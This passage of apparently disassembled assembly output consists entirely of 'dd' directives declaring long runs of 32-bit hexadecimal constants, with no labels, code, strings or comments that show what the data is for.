		dd 48000666h, 10EBC1F6h, 18F44E0Fh, 0AECF25AAh,	4301B738h
		dd 1E3F7EA1h, 0E1D08A11h, 30AEE96h, 5A607CB1h, 45A8C5EAh
		dd 157AE66Bh, 0ACE22A1Fh, 0DE0F5280h, 16ABA8D2h, 35EEC80h
		dd 5B7A592Ah, 19CD58A8h, 8C55D800h, 0E89F51B9h,	0B7280016h
		dd 5CBA0B4Eh, 4801FBC9h, 1B8D108Bh, 0A6D8E974h,	0FC7540h
		dd 0AD9B914h, 354A5C20h, 44008874h, 73102B74h, 7658B2AEh
		dd 0BC30E717h, 1C0D0059h, 0EBB0404Bh, 1A075E65h, 21322A54h
		dd 0ACA41040h, 0B34500A7h, 0B4114E6Ch, 98F019C9h, 9C3040BDh
		dd 1E5700B6h, 8C3DA1BCh, 0C000BEA0h, 7D258D13h,	73B30A2h
		dd 0B5F8FB8Bh, 0C0FA67A3h, 22C33657h, 0D2C94D00h, 8CBFECFh
		dd 17AB0082h, 0EA34DC5Dh, 87002C45h, 597E294Bh,	1184A1Bh
		dd 0BA9444CBh, 0F732B937h, 78921207h, 6E9473E4h, 3582CA09h
		dd 0B1404D54h, 30FD3896h, 285C0CFCh, 83090115h,	5054A4C4h
		dd 0FECB59C4h, 0B08D0016h, 0BA2DC935h, 7E0EEE24h, 0C0501FCFh
		dd 0A016484Fh, 5EA30096h, 8771D7D4h, 0D87E85F4h, 1CDC0800h
		dd 0B1569FA2h, 869400E4h, 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh
		dd 1100B26h, 3D801499h,	2AE15B18h, 0A4EFB0h, 98CE92BFh
		dd 7E591277h, 0B409C401h
		dd 25A656A3h, 0F26AC9CCh, 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh
		dd 99C0A543h, 0DF09D611h, 0BEE85C10h, 0F101330Fh, 3BFFA6Eh
		dd 221A390Ah, 0F8442AA9h, 0EB00883Ch, 5C61976h,	2601E7A0h
		dd 0FA96DE5h, 4321DFA4h, 0D15B20A8h, 0E152D1ACh, 4249E0B0h
		dd 0E65B800h, 391048BCh, 0CC00059h, 0C4908529h,	156719C8h
		dd 54F02006h, 722CCh, 3209D081h, 0CB60C41Bh, 4F2EAA00h
		dd 0AB4E104Dh, 4BDC0FDEh, 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh
		dd 923B5F00h, 0FC0A7185h, 0D27E9564h, 0F02CF406h, 0B7EC0076h
		dd 0DFFE3862h, 6A3E4307h, 0E432005Bh, 0DDE01472h, 42120045h
		dd 2934CC06h, 1EE42D83h, 5C1A0102h, 0E0406F2Ch,	0B0A26E1Ch
		dd 0C5CC00C3h, 0ED540C51h, 0E7A9333h, 8DA56600h, 9D35EF40h
		dd 14EEAE8h, 8FDDCEEAh,	0D4C709D2h, 0C60FE099h,	0E02AB67Ah
		dd 0D62B49AEh, 2F580051h, 3DC255D0h, 11DBD03h, 0DC005C77h
		dd 64BCD3B7h, 0F9532610h, 80FD0001h, 870D048Fh,	0BF2A9E03h
		dd 0A04FA86Bh, 0AC6865h, 40C683D1h, 0B0F8608h, 1448C0EEh
		dd 0A5AD0063h, 642D24FBh, 580203F5h, 76DB850Ch,	21C144C0h
		dd 4BCD8600h, 0BC7C247Fh, 0EF07A4Ah, 56107005h,	3D0C36E3h
		dd 0DF5144D8h, 6E297A00h, 8833022Bh, 75080042h,	1643C394h
		dd 0E047953h, 122147E8h, 7F90B6C0h, 519800A2h, 2E1E25E2h
		dd 8000F6F0h, 0DD3C7869h, 1D2A38D2h, 55204h, 0C981D868h
		dd 7E0010B4h, 0BFEB6582h, 3BB0925h, 4B594CE0h, 56A8F05Ah
		dd 72006116h, 48ADF846h, 2D9F7Bh, 4BE70193h, 0D7A7D4FBh
		dd 7906C3Eh, 0E46EF854h, 0DDEBBD51h, 703AC70h, 44BCCCF7h
		dd 78E6304Bh, 11007F6Fh, 64DFCEE9h, 731724B4h, 886A0758h
		dd 0D06023D6h, 0C4709472h, 0BE27D21Fh, 68950C0h, 4F0CAEh
		dd 2F22F114h, 244EC8DDh, 0E4082112h, 8C6C8000h,	2CFEF084h
		dd 0CAEE65h, 1625DCF4h,	3400AA11h, 6A9488F3h, 0ABCF4Fh
		dd 54801B6Ch, 7765AD7Bh, 31C56800h, 2C59958Dh, 57EF1DB0h
		dd 6B5C7F1h, 0F79CF70Dh, 12AFA14Eh, 0EBD0DC69h,	3A294100h
		dd 8D8263BCh, 0F87885h,	1975809Ah, 92D2FCF4h, 0D1411300h
		dd 0FEEC5D43h, 9DD000E4h, 5F0B0879h, 50E41E5Bh,	856D7100h
		dd 0F7659784h, 1294004Ah, 2224CA1Dh, 5C0B0810h,	80727453h
		dd 0A5AB2D16h, 0ED750027h, 6918A4E4h, 0C0008906h, 0A7BBA8A9h
		dd 4A82BEh, 30145D0Dh, 6D6F431Ch, 34876500h, 712C0A73h
		dd 880B39ECh, 0C170C400h, 0D34E7909h, 8064523Fh, 2BD01884h
		dd 0BA40F22h, 28447291h, 4C9D7B80h, 0D30E3770h,	0E0D8A5BBh
		dd 25876C33h, 927900DEh, 12633018h, 0C848D48Bh,	0ACBC00F4h
		dd 178DB6C4h, 0E031FAC2h, 0ECB2002Fh, 69540BCAh, 0EA0F4556h
		dd 24985980h, 0A2800C89h, 0B87212h, 56AD536Ch, 30C88ADCh
		dd 0E445400h, 6765354Ch, 0E109005Ah, 0C95BC370h, 4B017468h
		dd 0E0F82930h, 27D8ABF2h, 87640018h, 6BC58E6Dh,	0C8F72873h
		dd 0B200D142h, 0B14F2610h, 9055E5h, 947AC427h, 814475Ah
		dd 0D6D18001h, 0EA25F46h, 6016CCh, 295CC595h, 2EB06488h
		dd 90E34B16h, 0DCC47F00h, 7C44D148h, 0ABF07EDh,	40B36965h
		dd 12B47542h, 806C643Fh, 30D2520Ch, 72EB8F6h, 14257669h
		dd 8B59165h, 24FC4E0h, 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h
		dd 31A1866h, 88104619h,	0C8064301h, 1890141Bh, 2E9104E0h
		dd 73A381Ch, 50AE961Ah,	0D27CB865h, 29339F00h, 13AB9C4Ah
		dd 1038000Fh, 2E642B25h, 14F02703h, 87D2AD00h, 53588011h
		dd 0FB478B1h, 2190DF3Eh, 5CC0A74Eh, 3181779Dh, 0F80BF0BFh
		dd 79E107D9h, 0E0B8AC2Ah, 0D234150Ah, 2B00257Ch, 0EDBBC044h
		dd 588AD620h, 0D3004703h, 0D501B5A7h, 0B8008302h, 0AE3D4FFBh
		dd 0FA34D4h, 0E2C87232h, 0C9128937h, 8CB7D901h,	0F188A18Bh
		dd 5562D0h, 9C01451Bh, 0D35B279Fh, 80FB1D3Ah, 504108D1h
		dd 32A5251h, 0EB1069ECh, 588864C2h, 3C00B3EAh, 5E575684h
		dd 38A473h, 0C29887E9h,	145A52E6h, 369FB40Eh, 0BF2B0Fh
		dd 8E1F3EACh, 471000Bh,	0FD27CCFEh, 5F01AF12h, 38EA1CD1h
		dd 0C0D44754h, 34560039h, 0FF3A3374h, 811ECC76h, 470EC322h
		dd 0BA805D4Ch, 809044Dh, 3C0F0370h, 6F7788B1h, 298BB6B8h
		dd 69DE7503h, 0FA99554Bh, 3654E00Ch, 2B4300AFh,	0A5D4459Fh
		dd 0AD010576h, 1912BEF4h, 0F0D0A2E2h, 15261D90h, 8043DE0Eh
		dd 0C1695D8Ch, 2A019402h, 0EC881CF4h, 9630F0CEh, 0F03B7D8Eh
		dd 0C0E0047h, 7E2146D2h, 0A1ED4A7h, 5000D76Ch, 0DEC8D5A6h
		dd 0D9A50077h, 0CEB62A4h, 3F002171h, 1711DBA7h,	686C6Ah
		dd 74D83BC0h, 0AECB8316h, 0A6F70400h, 4512A028h, 0C26A00F0h
		dd 4FDF77E3h, 290024ABh, 48165D4Bh, 0B00C06C3h,	0CE090C9Ch
		dd 66B23908h, 0D7CA890Eh, 907A8085h, 0FF0AA6h, 1184872h
		dd 6CC1EBCEh, 595C2300h, 0E26A90E5h, 3A8100A0h,	2E1977D0h
		dd 6F009B89h, 4B2BC48Ch, 88FBC2h, 0B483075Bh, 0FFB09281h
		dd 0EE604504h, 5700CC17h, 5882FEE9h, 58474048h,	2E10033h
		dd 0C1F5FA2Ch, 6B5E0175h, 0A0F168D8h, 2D6320C4h, 0DCA13C00h
		dd 1F061CE3h, 7EBD0043h, 4194D48h, 0FA008001h, 5302BB05h
		dd 3C32EBh, 9D2CAF41h, 27450618h, 82206A60h, 7A28AFEh
		dd 4C50FF5h, 0C7838088h, 541F4802h, 95C0CF43h, 13C144Dh
		dd 0D9495C30h, 34D9AA00h, 8448E36Bh, 3DC93200h,	0B95E882Fh
		dd 12760391h, 3B7421BAh, 72FC3AF0h, 6A838C00h, 0C7F2F449h
		dd 0B2900010h, 30393DD6h, 96007370h, 0BFC28BD2h, 0E698FEh
		dd 0C6126CF4h, 5D4A2404h, 935B801h, 3B5564BAh, 0E0FCADF5h
		dd 0FE840042h, 0F3C07489h, 0B405ED33h, 5F77087Eh, 0E681C280h
		dd 0FE103B8Ch, 830F1B9Eh, 0DBAB0DDFh, 7C89CEB8h, 47174A00h
		dd 0E388559Fh, 0B19011h, 8BA71F0Dh, 8577F8BAh, 81A09E4Ah
		dd 115F00D0h, 0C53B2BF1h, 2C022452h, 0FF6AE477h, 0B6D5E054h
		dd 0B9D400DBh, 86E7226Ch, 7E7D7428h, 52897F05h,	0BE0092ADh
		dd 1D8D70EBh, 661A1D98h, 850580D6h, 28215346h, 4D75E207h
		dd 40903E9Ch, 6132CBh, 6F881931h, 0E655697h, 6AE91F05h
		dd 0D60E03AEh, 0C622E005h, 0AB2550h, 121DA511h,	0AF0A5406h
		dd 1244C00h, 77714FDh, 68FE6303h, 5E05B8Ah, 5F3B5D62h
		dd 0A25A03B3h, 0F3BE4BD1h, 9FEAA0A4h, 0FD130025h, 4E7FDED9h
		dd 10F688EFh, 41CC2000h, 22496F5Bh, 196A00D8h, 92F53942h
		dd 54015DE7h, 0C0A38C1Bh, 0A5EC452Dh, 18D4011Ah, 64F3CF3Fh
		dd 0B8F0D860h, 0C4DA1400h, 5309FF65h, 5AEE0Fh, 0AA2BBB25h
		dd 0A4290532h, 44EC3700h, 8DBABF9Bh, 0AC3F00FEh, 6E0FD4C7h
		dd 5800EF32h, 19F7EAA7h, 0F8BD7076h, 223B00D7h,	2C683603h
		dd 2E008D66h, 0C74543E4h, 0EA8271h, 7802F45Fh, 33CAE055h
		dd 0BD49F300h, 30AE2040h, 17DC0053h, 0E251606Fh, 230722D8h
		dd 68D413C0h, 0DEE7A627h, 0D0C4A3E0h, 6F730348h, 9BCCA251h
		dd 8FE87AEBh, 763BC812h, 1AF50710h, 0B7D7C429h,	0C0F1A8D1h
		dd 0C81BD3FCh, 0B8C0BC4Eh, 77C1D05Fh, 0B4451F9Eh, 1E42B036h
		dd 4303B022h, 148D7A37h, 0E8DBE3ACh, 3EA878D4h,	1FF49C8Bh
		dd 5F4DA4D1h, 884740BDh, 0DEB790A0h, 0C19C4CC8h, 12E74398h
		dd 0A5691094h, 0F75C2C00h, 84DA04D8h, 12EEFE4Eh, 7BFD5C4h
		dd 943DA9ACh, 61BBC007h, 40004E70h, 2571626Bh, 3B691C65h
		dd 0FF007775h, 57ADCC67h
		dd 0BC002C9Eh, 0DAE74272h, 0C34316h, 0EB22354Eh, 1D6CD5CCh
		dd 13D895h, 3768B8B9h, 0C5648DBh, 0D8BD0B00h, 41FA4E4h
		dd 5FE800D6h, 0E3FE0146h, 0E2F4297Eh, 0F44D6200h, 17B11E9Ch
		dd 0A5C00ACh, 4FF2C727h, 1B002910h, 0DA6CB74Ah,	3E3BA908h
		dd 5F8346C2h, 0EE58E276h, 515EB5E0h, 30E1F43Ah,	3E1378D4h
		dd 0A8BC0020h, 0DA9057A2h, 8504DC36h, 341D0425h, 53DD6FC0h
		dd 0F982008Fh, 0E9A7AAA3h, 4B005DC9h, 5B30D398h, 78E83Dh
		dd 0F7700651h, 0D91E148h, 0A3184700h, 3D83438Ch, 0C9FEA2h
		dd 0ECC28EF4h, 0DBF12124h, 3A14538h, 6838801Ah,	0AAAA875h
		dd 94431FFDh, 6E90004h,	0C525A2D9h, 0E88660E3h,	2AD0AF60h
		dd 0FC2336h, 6E3BBF7h, 1DF8682Fh, 0A0F4EA00h, 86C42B13h
		dd 0A11C0721h, 0C1768528h, 0F4176984h, 7007A41h, 954DBE5h
		dd 0B44AE3h, 9E151AA0h,	0CA2B89B6h, 458BD401h, 952AA2B8h
		dd 1D6B0F20h, 40E2F343h, 4B2FDC3Dh, 970192FBh, 7C67F55Dh
		dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h,	87EB50EBh
		dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch,	91342338h
		dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh,	3F30D4h
		dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
		dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
		dd 2EFF0B7Ch, 0FED175h,	7D3944BDh, 4C740482h, 9B3FEB00h
		dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
		dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h,	0E8A5E983h
		dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
		dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
		dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
		dd 8205D4ADh, 4A10700h,	182B376Ch, 1688006Bh, 22F35EDEh
		dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h,	0BC2CA6h
		dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
		dd 422ABE3h, 2C71C582h,	0E4888032h, 8900141Fh, 2E051043h
		dd 1060Ch, 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h
		dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
		dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
		dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
		dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
		dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
		dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
		dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h,	0B204D085h
		dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
		dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
		dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
		dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
		dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
		dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
		dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
		dd 9CE47Dh, 0E8C28B30h,	0A73D322Ah, 16032500h, 59396491h
		dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h,	46BA44Dh
		dd 88E422h, 0A8903419h,	80282429h, 0E0103D02h, 0C0135074h
		dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
		dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh,	64882238h
		dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
		dd 1CF5CD4h, 5ABB4A3Ch,	307B71ABh, 8000019Ch, 742DFC78h
		dd 0B8D71Eh, 135DB2A4h,	0DE2F0451h, 4F5A8000h, 0E16A88C6h
		dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
		dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
		dd 0EB3F19A8h, 8AE705h,	0BC84A663h, 5C766AE1h, 0E810C004h
		dd 0FAC04607h, 12D11Bh,	47653D1Dh, 0E688554h, 8ECE3EFAh
		dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
		dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
		dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
		dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
		dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
		dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
		dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h,	0FC00A23Ch
		dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
		dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
		dd 0A75D253h, 0A54494h,	0E38F8BDDh, 49F3C755h, 3CF8F970h
		dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
		dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
		dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
		dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h,	14008E4h
		dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
		dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
		dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
		dd 3B63F059h, 3EC3064h,	0C429C314h, 77BB4418h, 0F622CAF0h
		dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
		dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
		dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
		dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h,	7F977553h
		dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
		dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh,	1F0072D6h
		dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
		dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
		dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh,	8525E6C8h
		dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
		dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h,	4CE7A3B8h
		dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
		dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
		dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
		dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h,	0F42B2C05h
		dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
		dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
		dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch,	1E0E405Eh
		dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah,	743E7F6h
		dd 670C86Fh, 44ED7900h,	5D977854h, 3484000Ah, 5817DAF9h
		dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h,	8D704C52h
		dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
		dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
		dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h,	0DF034C5Ah
		dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
		dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h,	1DC095ECh
		dd 750A5B9h, 16294A7Bh,	5FB43025h, 0AB0090EAh, 0C449C60Eh
		dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
		dd 0FB3AE571h, 4E182Ah
		dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h
		dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h
		dd 57ED00Ch, 61300FB8h,	0E7E0558Dh, 0AF918696h,	0C32D321Dh
		dd 82C8C0CAh, 60C4A00h,	26D858Ah, 25ECB5BBh, 18E01844h
		dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
		dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
		dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
		dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
		dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
		dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh,	598AC47h
		dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
		dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
		dd 1CC9043h, 0CB8588Ah,	0E4E54020h, 0C17CA7C8h,	0AF7A4807h
		dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
		dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh,	61003FECh
		dd 0AFBC683Eh, 40DB14h,	9E97E805h, 0F77BF6FDh, 0ECCC1112h
		dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
		dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
		dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h,	4A9216h
		dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
		dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
		dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
		dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
		dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
		dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
		dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h,	3F032ECh
		dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
		dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
		dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
		dd 3F838A10h, 937C9C5h,	8FBC4h,	50C15C6Bh, 0A685EF41h
		dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
		dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
		dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h,	4E62B8Eh
		dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h,	0D427012Fh
		dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
		dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h,	0A09C4Ch
		dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
		dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
		dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
		dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
		dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
		dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
		dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
		dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
		dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
		dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
		dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
		dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
		dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
		dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
		dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
		dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
		dd 0C4548906h, 1AC812h,	91CC214Ch, 28BF48D0h, 0B6D9500h
		dd 5B9038Bh, 2B363D96h,	2CDFD400h, 3CD7AD8Eh, 8D711718h
		dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
		dd 218E428Fh, 0C6E5E8h,	7DB15EBDh, 4A8513F2h, 0D70669FCh
		dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh,	39717064h
		dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
		dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
		dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh,	93054FF2h
		dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h,	4E7930F8h
		dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h,	27E853BFh
		dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
		dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
		dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
		dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
		dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
		dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
		dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
		dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
		dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
		dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
		dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
		dd 352504A1h, 52BCE00h,	0D5D3A79Ch, 0F7BE0011h,	0E5971042h
		dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
		dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
		dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
		dd 1C714AE0h, 0EF225Ch,	0EF42BD9Ah, 3B09D2h, 2ABCAC45h
		dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
		dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
		dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h,	12F1A80Bh
		dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
		dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
		dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
		dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
		dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
		dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
		dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch,	57006F7Fh
		dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
		dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
		dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h,	5614E350h
		dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
		dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
		dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
		dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
